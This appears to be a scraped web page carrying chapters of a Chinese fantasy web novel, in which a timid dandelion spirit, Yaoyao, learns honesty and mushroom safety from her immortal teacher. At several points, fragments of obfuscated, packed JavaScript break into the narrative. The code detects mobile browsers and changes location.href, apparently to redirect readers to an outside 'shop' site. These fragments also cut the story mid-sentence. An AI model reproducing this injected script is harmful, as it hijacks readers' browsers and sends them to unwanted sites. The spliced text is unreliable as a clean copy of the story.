l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125837|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固了一点,像是有一道乱流涌入,让那块筋脉通畅了些许。 这朵花的灵府过于诡谲,连他都难以看清,一时也不知道他如今这做法是对是错? 在短暂课间以后,课程马上就要继续。 瑶瑶坐回去的时候,又看见桃花妖和她朋友窃窃私语,她感知到那若有似无飘回来的目光,明明刚刚才觉得好了一些,但是一听到他们声音,瑶瑶的背脊却又僵硬了起来。 直到她肩头被人轻轻一拍,回头看去,是柳絮姐姐对她在笑,她指了指她衣服和首饰,又看了看前方的观止,然后笑着问她:“这些衣服哪来的,是你求着观止老师给的吗?还有,他刚刚怎么叫你瑶瑶。” 柳絮是老柳树家的女儿,也是小柳树的姐姐,在无尽森里面,愿意和她好好说话的人很少,柳絮姐姐算是其中一个,有时候还会帮她带东西,所以瑶瑶在她面前总是会乖顺一些。 “因为……”瑶瑶想说因为他收了她当弟子,这些衣服就是他刚刚说的“见面礼”,但是看着柳絮姐姐定定看着她的表情,瑶瑶却忽然有些迟疑了。 刚刚老师只叫了她名字,她也到底没有问出“是不是只有我一个弟子”,柳絮姐姐也喊得他老师,这时候说“他收我做弟子”是不是太把自己当一回事? 心思在脑子里乱七八糟转了一下,瑶瑶很快就想到了应对办法,她含糊开口:“是老师给的。” “哦~这样,”柳絮拉长了声音,却犹似不满足,继续问她,“那为什么他会给你起名字?” 为什么起名字? 瑶瑶茫然了,这有为什么吗?再说为什么问我‘为什么起名字’,不应该直接去问观止吗? 但是见柳絮一直看着自己,瑶瑶觉得不回答似乎也不好,只能硬着头皮想了个她唯一想到的理由:“因为我没有名字?” 她不知道这句话有什么问题,明明是实话,却引得桃花妖他们哄笑,就连柳絮姐姐也跟着笑了,但并非哄笑,而是仿佛被笑容感染一般弯了弯嘴角,露出一丝笑意。 “好吧好吧,”她拍了拍她的肩头,“那开始上课吧。” 当她转过去时候,她听到桃花妖凑近了柳絮姐姐,压着声音说着什么,她听不太清,只能感觉那些声音窸窸窣窣的,像是春日里恼人的蜜蜂,细细密密朝着她耳朵扎了过来。 她也听到柳絮姐姐被她的声音逗笑,仿佛隔着她很远,像是蒙着耳朵听到的风声。 瑶瑶抓着衣服上漂亮丝带,忽然发觉到这一身漂亮衣服和她格格不入,像是明晃晃地将她拉到灯下供人参观取乐,她知道这是老师的心意,但是她此刻却有些没办法欣赏起来,甚至有些暴躁地把垂下的腰带捏成一团。 “不必生气,”就在她揉着腰带时候,感觉前方传来声音,温和地响在头顶,“清风能吹起杂草,吹落花瓣,但吹不落榕树也吹不散山岗,你是要做山和树,还是杂草和落花?” 瑶瑶感觉到他微微俯下身,听着他温和的话语,直觉他似乎要和自己说什么,但是声音却依旧不由自主冒了出来。 “我是蒲公英,”她认真说,“我们蒲公英生存方式就是被风吹的。” “…………” 8. 第八章 和她刚刚说的“因为没有名字”一样,这话一出,周围又是哄堂的大笑。 听着这些笑声,瑶瑶方才感觉到自己又说错话了。 但是她不理解自己说错了什么,明明她说的就是实话,一朵蒲公英怎么可能不被风一吹就散,他简直在要求榕树爷爷不掉落叶。 而且其他人笑就算了,为什么另外一株蒲公英自己也要跟着笑。 她低着头,有些不满,这种不满像是她刚刚冒出头的一些尖细却又不可避免存在的毛刺,跃跃欲试想要探出头,昭示着自己的存在。 所以即便知道自己说错了,她也不想认错不想退缩,她诚恳低着头,等着观止的反应。 他会不会也和桃花妖一样笑她,或者和老柳树一样说大道理? 可是他明明对她那么好……直到看到身上衣服,她觉得好像被明火烫到,心中也一个激灵,心像是被狠狠一拽,一种近乎求生的欲望,让她想要开口说点什么。 但是她还没想到话,他的声音却落下来,带着她听不懂的温和与稳重:“瑶瑶说得是,”他微微笑着替她抚了抚鬓边的花,“是老师说错了,我们继续上课。” 瑶瑶一时有些懵,看他的手离开了,但他指尖触感还历历在目。 他没有生气,没有收回她的衣服,也没有收回她的名字,反而说……他错了? 但是他错了什么呢? 是那句话不对吗? “错了”这句话不应该是她说才对吗,为什么漂亮老师也会呢。 瑶瑶百思不得其解,但是随着后面重新安静下来的课堂,听着观止徐徐道来的声音,她的心情也似乎跟着一点点落到了实处,直到课业完结,柳絮就凑过来和她实话:“小花妖,观止老师对你真好,你是怎么认识的啊?” 她把观止“捡回来”的事情,那株完美的蒲公英都知道,柳絮怎么会问呢,难道是其他人没有告诉她吗? 瑶瑶有些困惑,但是既然她问出来了,瑶瑶还是认真告诉她:“观止老师从天上掉下来,被我捡到了。” 但是话语刚落,又听得柳絮“扑哧”一下笑出来,又想再说什么,瑶瑶正觉得困惑,观止的声音就从身后传出:“瑶瑶,回家吧。” 听到“回家”,瑶瑶觉得心中好像有什么东西被点亮,像是之前他给自己的名字,像是擦亮的绒花,瑶瑶听到衣服上环佩叮叮当当的声音,她感觉到自己嘴角克制不住弯起,绽开一个笑意:“好的,”顿了顿,她似乎有些不习惯的补上称呼,“老师。” 观止就对着她笑了笑,过来接她的时候,目光还若有似无朝着柳絮他们看去,但是很快,他又重新移回目光,重新看向瑶瑶,轻轻颔首:“走吧。” * 出去的时候,外面淅淅沥沥的下起了雨,无尽森的雨大多是迷蒙的,因为大多的雨水都被遮天蔽日的榕树挡了去,落下的便是从叶子上滚落的晶莹水珠。 那不是真的雨,是榕树爷爷自己抖落树叶下的。 草木都很喜欢雨水,瑶瑶自然也不例外,眼看着下了雨,她也不着急地躲,反而欣喜地扑到雨中跳着水坑,看着随着她跳跃溅起的又带着泥泞的水珠,她脑里却忍不住一遍遍回忆起观止方才和她说“回家”的画面。 他挡在那么多人中间,和她轻轻一句回家,他们全部都停止了声音。 她不知道他们为何都不说话了,但是现在想起来,应该也是和观止有关吧。 “回家”的画面一遍又一遍在她脑海里闪过,瑶瑶就更加就开心地跳着水坑,仿佛想要将心中这份罕见的愉悦诉诸大地,直到身上淅淅沥沥被雨水浸透,看到面前不声不响站着的观止,她方才想起他给他换了一身新衣服,她居然穿着这一身漂亮衣服去淋雨! 这个念头像是一桶冷水,瞬间浇灭了心中的火焰,连带着她觉得这雨水似乎也没有那么喜欢了,她感觉到自己似乎猛然被抛到一个荒原,脑子嗡嗡作响,像是有一个什么东西在里面震动,让她恨不得穿行回到一切开始之前——她一定好好找一个躲雨的地方。 “瑶瑶。”就在她站立难安的时候,观止从前面过来,他的手搭在她的肩头,刹那间,让湿透的发丝和衣裳都回归干爽,就连她身边都出现了一个透明的罩子,像是一个看不见的容器,隔绝了外面的雨滴,让她安静却安全的躲在一个被隔绝的天地。 她心中一点点沉了下来,他这个低沉的声音莫名让她觉得耳熟,往日里,榕爷爷,还有隔壁老柳树,想要和她说什么话的时候,总是用这种温和语气开头。 只是他们叫的是小花妖,观止叫的是瑶瑶。 但是此刻她忽然觉得,那时候的小花妖似乎和此刻的瑶瑶也没什么区别。 于是她就抓着自己垂下的腰带,无意识在手里团成一团,听着他之后的话。 “我已知晓他们与你的事。”他声音平稳开口,缓慢就像雨歇以后,从窗檐滴落的水珠,一声声缓慢却不间断的滴答。 瑶瑶就抓着腰带在心里“哦”了一声。 观执沉默片刻,想起这小花妖的接受能力,为了避免“我就是蒲公英”这种前车之鉴,他尽量让自己说的话更加简单:“他们说什么是他们的事情,你只需……稳定心性便是,假以时日……”他原本想说“道果圆满,他们自会对你刮目相看”又怕这朵花这只听懂了后半句,之后一心修炼,遂又思忖了片刻,换了一个说法,“……若他们对你不好,你告诉为师便是,为师自会为你主持公道。” 瑶瑶听着心中一动,这句话……很耳熟。 不管是老柳树,还是榕树都是这么说的,但是她真的寻求帮助了,他们却都告诉她桃花不坏,她受委屈了,是个好孩子,似乎解决了,又似乎没有解决,如今再听到这句,瑶瑶觉得自己要问得仔细一点。 “哪一些是对我坏呢,”她认真询问,“是骂我刺头,还是叫我‘真真’,还是说我是外面飘来的坏花,那他们之前说我‘厉害’,这种夸奖一样的‘最厉害’也算吗?说了你都会帮我吗?” 她问得仔细,尽量把自己遇到的尽可能多情况都告诉了他,想要等待他的答案。 既然是她的老师,应该会告诉她的吧。 然而她这话一出,却见得他似乎沉默下来,那双如星辰般漂亮的眼里似乎微微一震,之后就不说话了,像是陈旧的家具被一阵喧闹震落了灰尘,然而第一眼看到的往往并非家具本来面貌,而是扬起那一片的灰尘,在空气里漫天的飞舞。 瑶瑶觉得此刻的观止,就像是被灰尘呛住了的样子,否则他为何不说话? 但是瑶瑶觉得他应该是在给自己想答案,所以她也没有催促,只是耐心站在他面前等着。 “他们……”观止张了张口,似乎想说什么,但是最后却又沉默了下来,他垂了垂眼,声音有些干涩,“我……” 瑶瑶还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125838|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是耐心等着。 然而,她没有等到他接下来的话,反而听到他耐心却又温和的询问:“今日的课是否有哪里不明白,引气入体可顺利了?” 瑶瑶眨了眨眼,不知道他为何忽然说起引气入体的事情,但是见他说得认真,想来应该很重要,也就点了点头:“老师帮我指了指丹田在哪里以后就没问题啦。” “那便好,”观止依然没有继续刚刚那个问题,然后又继续问她,“你往日修行的时候,可觉得灵府有什么异常?” 灵府异常…… 瑶瑶眨了眨眼,这个异常可多了,她觉得自己似乎和其他人都不一样,所以平时老柳树的课她都跟不上,她的灵力总是断断续续,不像他们一样可以绵延成溪流,甚至她总觉得自己有有些地方灵气似乎特别浓重,有些地方却气若游丝,她没办法把这两处融汇,试得多了,最后连“浓重”的地方都找不到了。 “无妨,”看着她又不说话了,观执就笑了笑,目光停留在她的绒花上,稍稍停顿了了一下,方才开口,“我们慢慢来。” 瑶瑶就“哦”了一声。 于是,他带着她回到了那个小屋,一路上,他没再说去那个问题的答案,瑶瑶也乖巧地低着头,同样没有再提起。 滴答滴答,外面的雨水落在了屏障上,隔绝了漫天的淅淅沥沥的雨,隔绝了混杂潮气的风,唯余下滴答滴答的敲击,如同从心脏落下的擂鼓。 * 夜深,月寂。 知晓了之前的情况,观执自然不会再让这朵花把那张唯一的床让给他,于是他就告诉她他晚上无需入眠,只需对月打坐即可。 没想到这丫头还真不客气,直接就“哦”一下,马上就点头道谢,半点都不带“谦让”的。 观执倒不是非要她做什么样子,毕竟他确实不需要入眠,只是想起自己这弟子心思如此“单纯”难免觉得好笑。 只是在笑意涌上心头的时候,蓦然,当时她的那句话就闯入他的心扉。 ——何为恶。 如果她是这么问他,他有很多“答案”可以告诉她,不忠不义是恶,不仁不孝是恶,恶语伤人是恶,居心不良是恶…… 但惟独,她认真问他,对她说“真厉害”诸如此类是否是恶,他却没有办法回答她。 是恶吗?若是用他那一套道理来看,那确实是恶,但是他却要如何告诉她,她所感知到的那一切都是恶。 她是碎骨莲,此刻虽然心思单纯,但威力却不容小觑。 他收她为徒,是在教她向善,不是教她为恶,若是让她知晓这些…… 观执心中一顿,一个念头就涌入他的脑海。 ——若让她知晓这些,岂非让她心生怨怼,如此…… 他心中再一凛,一个难以理解念头再次从这片满满深海里浮现。 ——如此,岂非让她真的走上邪路?让她……无所顾忌地去怨恨那些人? 这个匪夷所思念头让他心中震动,如同冷刃扎进灵灵府,逼迫他问出一个自己从未设想过的问题。 他生为天道执掌,本应视万物刍狗,知相生相成,无知无欲,为何独独对这朵花“先入为主”? 他尚未想出一个所以然来,伴随着前方如涟漪荡开波纹,一只青色飞鸟就从破空而来,不过巴掌大小,身后却长着长长羽翼,庄严的声音就在青鸟震翅中传出。 “吾儿何在?” 9. 第九章 传音里的声音犹似天边传来,带着沉稳如编钟的声音,却不染丝毫尘埃,观执微微敛神,从坐榻上起来,对着青鸟一拱手:“父君。” 那声音连“嗯“一声都若有似无,很快就步入正题:“何时归。” 观执沉默了片刻,感觉手指上再次传来绒花的触感,温软的触感还历历在目,他一时竟有些失神,直到传音里他父君的声音再次传来“执儿?” 观执这才回过神,他收拢了手指,很快重新稳定下声音:“尚未。” 青鸟里的声音沉默片刻,又问:“何故?” 观执接下来的回答很简单:“此间有事未了。” 声音再沉默一会,却也没有再次追问,只是淡淡开口:“早日归来,莫为外物滞汝道心。” 观执从善如流,再次对着青鸟一拜:“观执谨遵父君教诲。” 青鸟这才轻轻“嗯”了一声,随着羽翼震动,缓缓消失虚空之中,观执抬起头,就看见榕树枝叶中透出的明月。 映在这片无云无星的夜里,像是黑绸中的明珠,也像是一只蓦然注视大地深林的眼睛。 伴随着榕树叶的响动,风吹林海如涛声,他合了合眼,已经重新坐下,双手结成莲印,任由月华之力流转全身,缓缓侵蚀心底那针刺一般的封印。 * 瑶瑶今天起来的时候,就对着镜子发呆。 观止给她的那一套发饰头面十分繁复,衣服她还能穿,但头面她就有些无能为力了,昨天她已经尽量让自己规规矩矩躺着,可是她睡相还不好,起来时候,头发东倒西歪,那些毛毛躁躁头发又卷了起来。 她有些着急,觉得是自己弄坏了东西,又后悔肯定是昨日睡迷糊觉得平躺着太累,才会弄坏了这个头发。 “瑶瑶。”就在她着急的时候,外面传来了观止的声音,“起来了吗?” “起来了起来了。”瑶瑶一边答应着,一边着急忙慌地收拾好了自己,一打开房门,就看见观止穿戴整齐的站在她面前,头发柔顺如同丝绸,愈发显得她此刻的局促。 瑶瑶盯着看了看榕树簌簌而落的枝叶,看着这些熟悉的潮湿青苔,方才重新找到了什么话打破这个氛围:“我去给老师煮饭。” 观执无所谓吃还是不吃,但是见她有意,也没有拒绝,只是笑着点了点头。 瑶瑶这才松了一口气,仿佛之前她独自站在空旷大地上,这个“做饭”是她找到一个寄居的壳,让她可以暂时安全的寄居在这里,伪装自己此刻就是一只躲雨的蜗牛。 她翻了翻粮食储备,发现还剩下蘑菇,她不太喜欢早上吃太多的蘑菇,不仅没什么味道,还总觉得肚子不太舒服,不过介于此刻也只有这些了,于是她哗啦啦把蘑菇丢下去煮,然后等到颜色差不多的时候再捞出来,用荷叶卷好,就分了两大包。 大的那包给观止,小的那个就是自己的。 她在心里分好了蘑菇,又仔仔细细包好,这才捧着这两包荷叶出去。 “老师老师,煮好了。” 观执对吃食并不在意,他本就习惯清淡口味,本以为应当没什么问题,但是当他打开荷叶包的时候,脑袋一懵,笑容都僵了,于是,那一次看见变了颜色的蜜饯、混着泥沙的“药”的那一幕再度浮现。 观执难得沉默了许久,然后指着蘑菇就问:“这是什么?” 瑶瑶觉得他问了一个奇怪问题,明明这个显而易见,但是她还是回答:“蘑菇啊。” 观执:“……” 他当然知道这是蘑菇,然而,看了看这朵花,又看了看面前这一摊“蘑菇”,全部煮开没有调料就算了,怎么颜色还如此鲜艳…… 看着此刻对此面不改色的花,他难得陷入了一种匪夷所思的沉默之中。 ——他记得典籍里没有说碎骨莲百毒不侵。 瑶瑶正打算开吃,但是转头一看,看着观止一动不动,她眼睛眨了眨眼,心也跟着一沉,“老师……老师不喜欢吗?” 观执:“……” 那一次的过期蜜饯和药,他吃了就吃了,毕竟不是什么显而易见的毒素,但是这蘑菇……他确实没有什么食毒的癖好,但是看着这花一眨不眨看着自己,他张了张口,又张了张,最后终于斟酌问出心底疑问:“……你吃这个,都不会觉得有什么不适吗?” “不适?”瑶瑶愣了一下,“没呀,而且我肚子不太好,吃什么东西肚子都容易坏,吃灵果都吐,所以和这些没关系吧。” 观执:“……” 观执:“…………” 他沉默许久,终于找回声音:“你就没有想过,”他目光复杂看着那一包花花绿绿的蘑菇,看了一会,才把目光重新移回她身上,“你‘肚子不好’,和你无关,只和这蘑菇有关呢。” 瑶瑶:“……?” * “这种颜色鲜艳的,不能吃。” “这种一碰就变色的,煮熟了煮透了才能吃” “这种灰扑扑的,可以吃。” 观执实在没有想到,他教这个弟子的第一课,居然是生活常识——认蘑菇。 更没想到有一日,他居然要蹲下来,教一朵小花认蘑菇,还要从最基础的开始教起,如同教一个孩子如何发出一个音节,如何迈出一个步伐,如何……走入一个世界,还要时不时回答一些奇怪的问题。 比如—— 多么鲜艳才是鲜艳,煮多久才算煮透,这种有点渐变色灰算是灰扑扑吗? 观执第一次对自己“教学”产生了迷茫,他没有收过弟子,只是有些人修为停滞的时候,他偶尔会点拨几句,那些人的灵府在他面前就是规整的阡陌,一览无余,他自然可以指出到底是哪条路出了问题。 但是这朵小花妖除外,怎么会有这种问题,观执被她问的都迷惑了,甚至于和她出现了一样的困惑——怎么样定义鲜艳,如何明确煮透,灰扑扑的边界又在哪里? 看着面前又采了一朵剧毒无比蘑菇的小花妖,他看了看她手里的蘑菇,又看了看她,张了张口,最后他深吸一口气,声音都有些恍惚了:“这个虽然白色,但是你看菌托粗壮,仔细看菌盖也呈灰褐至暗绿,所以不能吃。” “哦。”他就听到小花妖这样应了一声,也不知道听明白了没有。 斟酌片刻,他还是耐不住疑惑询问:“一开始……没人告诉你这些吗?” 听到他的问题,瑶瑶心中一颤,握着蘑菇的手也有些不稳,她低了低头,眼睛又落在昨日被自己揉皱的腰带上,那一瞬间,往昔画面在她脑海里涌现,她感觉大脑仿佛也熄灭了原来明亮的灯火,雀跃的心跳也跟着一点点沉寂下去,一种恐慌和惧怕如影随形,就像她摔不掉的苍耳。 观执看出来,他视线微微一垂,倒是也没勉强这个问题,反而只是道:“再往前吧,”他说,“为师再教你辨认其他的。” 瑶瑶看着他的背影,听着榕树叶子盛着露水的声音,滴答滴答响在石头上,也落在了她的心里,她忽然感觉到心中涌起一种难以言喻冲动,就像是春天的嫩草破开冻土,挣扎想要接收阳光,但却又在泥土里待上太久,等到真正长出来那一刻,或许是惧怕阳光的温度,或许是自愧于自身的局限,却放缓了脚步,几乎想要重新将自己埋进去。 但是阳光普照万物,自然不会苛责一株“小草”,瑶瑶就听到前面传来一个声音:“瑶瑶,是你有什么话想和我说吗?” 瑶瑶,她想,这是她的名字。 不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125839|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小花妖,不是刺头,不是真真,是她所选择的,承载了无数美好和希望的名字。 “我……”她感觉到自己脑袋垂了下来,声音更低了,“一开始化形的时候,大家给我吃过这些,但是那时候我可能身体不好,吃什么都吐,渐渐的,大家都觉得麻烦了,他们告诉过我的,只是……”后面的声音越来越低,几不可闻,“只是我太笨了,学不会。” 观执的眉头却渐渐皱起,他低头看着面前的小花妖,琢磨着她口中的话。 碎骨莲到底是魔界的圣花,如今又时隔太久,其习性到底已经不可靠,他了解的也不是太多,他未能确认的是,碎骨莲修成人形的极少,若是有,便是毁天灭地之力,其力量和这朵花如今的状态极度不匹配,至于吃什么都吐…… 那一瞬间,他几乎产生了一个荒唐念头,难道榕树早就发现了她是什么,所以一开始就给她下毒?但是这念头一出,他却又很快否定。 绝不会如此,榕树或许能操控几人,但若大的系统,连他都不能保证其中没有人有异心,榕树不可能让所有人都听命于他,掩盖碎骨莲的身份。 她受到的伤害是真的,当时的“吐”……大约也只是碎骨莲习性不同吧。 虽然心中思绪万千,但是落到面上,还是一派温和的笑意:“无妨,”他温和看着她,没有评价那段往事,只是温和回应她,“为师可以陪你一个个看,教你辨认,以后就不会吃了难受了。” 方才说起这些事情的时候,她就像是昨日躲在老师的玻璃罩里,虽然隔绝了风雨,一切十分安静,但就像蒙住自己耳朵听到的涛声,让她脑袋也跟着一起发闷,但是此刻,听到老师说得这些话,像是那个罩子从底下被人撤去,她重新闻到了风,重新听到了雨滴,连带着心中又重新明艳了起来,甚至比一开始他说要带她采蘑菇时候来得更加明艳。 于是,她就抬起头看着他漂亮的眼睛,重重点了点头:“嗯!” 老师后面一直带她辨认蘑菇,她记不住了他也说没关系,以后慢慢认就好了,在他的口中,瑶瑶才发现蘑菇原来分那么多种,有些能吃,有些不能吃,有的在常理下能吃的,但烹调方式需要注意。 原来过去她吃了肚子疼,并不是因为她吃不了好东西,而是从来没有人教过她这些。 可是…… 瑶瑶摘下一朵蘑菇,丢进背篓,还是有个问题让她始终想不明白:“但是有些蘑菇,为什么其他人不会不舒服,可是我会不舒服呢?” 这自然不可能,观执把“可食用”蘑菇放在她的背篓,思忖了片刻,最后诚实地摇了摇头:“为师不知道。” 瑶瑶没有得到答案,但是听着这一句话,瞪大眼睛,她几乎停住了脚步,看着老师的背影许久没有出声,短短几个字,明明简单不得了,但是她却觉得有些陌生,但是怎么会陌生呢? 她难道……没有听过吗? 瑶瑶认真地回忆。 往昔,她问出一些其他的问题,也没有得到答案。 老柳树摆了摆他手打发她:“小孩子哪里知道那么多?” 榕树爷爷只会抖着那些簌簌的叶子:“哈哈,真是一个有趣的问题。” 柳絮姐姐会笑着问:“为什么想知道这些啊?好奇怪啊,来,过来帮我搬点东西。” 而桃花妖,只会对她翻了白眼,转身就去和别人聊天,一句话都和她不说。 种种往事在她面前一一划过,在那一刻,瑶瑶心中忽然涌现出一个猜测,一个前所未有的念头,“簇“地一下出现,像是在她脑海里炸开一个小火苗,之后又重新融入茫茫深海,仿佛从未出现,但是浪花却结结实实拂过了她的意识。 ——原来,那些都叫“不知道” 10. 第十章 晚上睡觉的时候,瑶瑶在床上从左边翻到右边,又从右边翻到左边,直到“精心维护”的发髻彻底散落,她终于按捺不住坐了起来。 窗外清冷的月光洒落,在桌子上投下涟漪一般的水纹。 瑶瑶就抱着她的枕头,站到了观止的房门前,她想要抬起手敲门,却又在半空收回。 半夜敲别人房门是不好的,曾经的一个晚上,她肚子疼,去敲了柳絮姐姐的房门,那时候就知道了。所以当她把手放在观止老师房门上的时候,却又收了回去。 算了,她想,也不是什么重要的事情,明天再问也是一样。 直到房间里头传来老师清冷的声音,就像是床头铺满了一地的粼粼月华:“瑶瑶?”他声音清凌凌的,如同温柔的夜风和煦的拂过她耳畔的发,“有什么事情吗?” 瑶瑶张了张口,实话已经从嘴里冒出来了:“我有点事情不明白,想问老师。” “好,”观止的声音依旧温和稳定,“进来吧。” 随着他话音落下,他的房门吱嘎一声打开,瑶瑶进去时候,就看见观止坐在一个简单的蒲团上,双手结了莲花印,才刚刚放下,修长的手指在月下就镀上一层近乎泛着光的幽静的莹白。 明明他是坐着,她站着,如此看着,她却还是有些紧张,直到观止拿了旁边的蒲团也让她坐下,温和询问她何事,瑶瑶方才重新找回了神思。 她低着头,目光却没有看自己,只是落在蒲团已经陈旧起了的毛边上,她一下下摸着那个毛边,声音也像是外面树叶窸窸窣窣的声音一样,飘飘忽忽就从嘴巴里出来了:“早上的时候,老师告诉我,不知道我一开始的肚子疼是怎么回事,对吗?” 观执不知道她为何说起此事,但还是点了点头:“是。” “那为什么是‘不知道’呢?”瑶瑶抬起头,有些困惑看着他,“老柳树,榕树爷爷,还有柳絮姐姐,桃花姐姐他们好像从来没说过。” 她再定了定神,张了张口,才把话补上去:“他们说小孩子不用知道,说我问的话奇怪……总之,就没有说不知道,那他们的意思,到底是不是不知道呢,如果是不知道,为什么不能告诉我呢?” 观执熟读各家典籍,也能解答众多修行困惑,但是此刻,却蓦然被这朵花的问题问得语塞。 如同她之前那句“何为恶”一样,此刻他竟然也有迷茫,并非是源自是否要告诉她“是否”的迷茫,而是这个问题……为何会存在。 他有些困惑,如同白日里她询问他那些蘑菇鲜艳与否的问题一样,在她问出来之前,他从未想过,有朝一日这种问题会摆在他的面前。 如同开启了一个无人的秘境,里面东西看着和外面相似,但是仔细一看,却又迥然不同。 看着她纯粹的眼睛,仿佛天池孕育的星辰,观执张了张口,但是最后,他还是只能诚实回答她:“为师也不知道。” “那老师为什么可以说不知道呢?”她想了想,似乎在组织什么言辞,“你可以告诉我,小孩子不用懂这些。” “因为……”他再沉吟片刻,只是说过无数次的典籍,此刻说出来,却让他感觉到分外的生涩,“知之为知之,不知为不知,是知也。”他顿了顿,看着她那双被月光照亮的眼睛,声音不知为何有些飘忽,替她解释了这句话,还延伸说明待人以诚,让她明白何为实话实说、诚实守信。 “哦~”瑶瑶听明白了,“所以我也要这样对不对?” 看着话题似乎朝着他熟悉的方向而去,观执也不由得松口气,又恢复一如既往的从容温和:“是。” 观执就看见她低下头,似乎在心中琢磨了片刻,然后笑起来,不是之前腼腆的笑容,这个笑容衬得她眼睛格外明亮,声音也清凉不少,仿佛是一些陈旧的积灰缓慢从她身上震落,露出鲜亮的一角颜色:“好的,我明白了,谢谢老师。” 见她如此,观执也吐出一口气:“无妨,”他微微颔首,“传道、授业、解惑是为师分内之事。” 然而他还没说完,面前这朵花已经从蒲团上起来了,似乎有些着急地想要验证什么:“好好好,瑶瑶明白了,老师晚安!” 说完,也不等他说什么,抱着她的枕头就噔噔噔跑了。 观执看着她的背影,忽然觉得有些想笑。 这朵花,心思变换总是如此之快。 只是……想到他接二连三,让他无言以对问题的时候,他再度抚上心口。 方才她那个问题,似乎在他心中盘旋了一阵,落在了他的心上,连那些刺都随之微微震颤,他的道心……到底出了什么变故? * 次日,瑶瑶去上课时候,发现离观止最近的位置上已经坐了人,是桃花妖,看见她过来,她仿佛早就有准备一样的抬了抬下巴,似乎在朝她说着什么。 如果是在平时,瑶瑶被这么一看,一定灰溜溜又委委屈屈地找个其他角落位置坐下,但是看着此刻对着她抬下巴的桃花妖,瑶瑶没有找位子坐,也没有炸刺,而是走在她面前,诚恳开口:“我要坐这里,你起来。” 那一瞬间,桃花妖原本高傲的面容落下,眼中闪过错愕,像是一下子没有反应过来。 瑶瑶便睁着眼睛,一脸认真地再次询问:“你是没听见吗,我说我要坐这里。” 桃花妖此刻总算反应过来了,看着观止从后面过来,她狠狠剐了她一眼,用眼神示意她闭嘴。 瑶瑶看到了,但是她还是很执着地问:“你瞪我是不愿意给我吗,那你为什么不说呢,老师说待人要诚实。” 桃花妖:“……?” 她脸上再次浮现出茫然。 瑶瑶见她如此,还以为她不理解,就用更加认真,也更加诚恳的语气追问:“你是不是想要离老师更近啊,如果是这样没关系的,我们可以斗草!” 桃花妖总算回过味来,凶巴巴瞪她:“谁要和你斗草,这位置你家的啊,凭什么我要听你的?” “因为观止是我老师,”瑶瑶还朝着观止一脸严肃地求证,“老师你说是不是,我能不能坐那里?” 观执:“……?” “老师老师老师!”见他不说了,瑶瑶还特别诚恳的拉了拉他袖子,一脸期待看着他,昨天老师才说是她老师,还让她诚实,那她现在就要诚实坐这里。 如此过了许久,她见老师沉默了片刻,不知道想了什么,然后挥手在距离更近位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125840|196065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置又放了一个蒲团,然后嘱咐她:“坐这里,莫要和同学争执了。” 瑶瑶不是非要桃花妖那个位置不可,只是想要离着他更近一些,看着老师虽然似乎有些无奈,但是还是给她加了位置,她自然开心,便理了理衣服,开开心心坐下去,结果一转头就看见桃花妖一脸愤怒瞪她。 可是明明没有抢她位置,这不应皆大欢喜吗,瑶瑶不解了:“你也没换位置啊,为什么还要瞪我?你还觉得不开心吗。” 桃花妖:“………” 桃花妖最后也没有回答,脸上也气鼓鼓的,涨得有些红,她目光放上去的时候,还“哼”了一声,对她翻了白眼就转了回去。 只是瑶瑶却看到她头顶上花瓣高频率的簌簌落下 ——她看起来似乎被气坏了。 奇怪,瑶瑶也转过了头。 这些妖真奇怪,不知道不说清楚,生气也不说清楚。 * 观执今天讲课的时候,眼睛朝着瑶瑶那边看了好几眼,见她坐得腰背挺直,欣慰之余,总觉得今日这场面有种说不出来的奇怪。 待人以诚……是这么用的吗? 但是她如此诚实倒也没错,只是后面要教教她,什么叫宽以待人,严以律己。 如此,他觉得脑内舒坦了一些,只是在此之后,灵台深处,似乎仍有一缕极细微的、难以言喻的滞涩感,如云雾缭绕,隐隐遮挡什么,扫之不却。 他想要仔细去瞧,但是目光却被那些小妖吸引而去,看着他们这幅模样,他心下稍安。 作为三不管地带,虽然靠近魔族,榕树把他们管理不错,没有沾惹那些陋习,反而气息纯净,在他看来,虽偶有情绪变化,但都属正常,尤其在妖族里面,担得起纯善二字。 他教这些小妖,除了因榕树之故,需找个理由看看这些环境之外,更重要的是…… 他目光落在小花妖身上。 看着她打个哈欠,目光看似在他这里,眼神却开始飘忽不定,观执离她近,顺手就拍了拍她脑袋,以作提醒。 小花妖立刻收回了神,乖乖坐着,倒是……他目光在若有似无闪过众妖。 其他落在她身上目光也变多了。 * 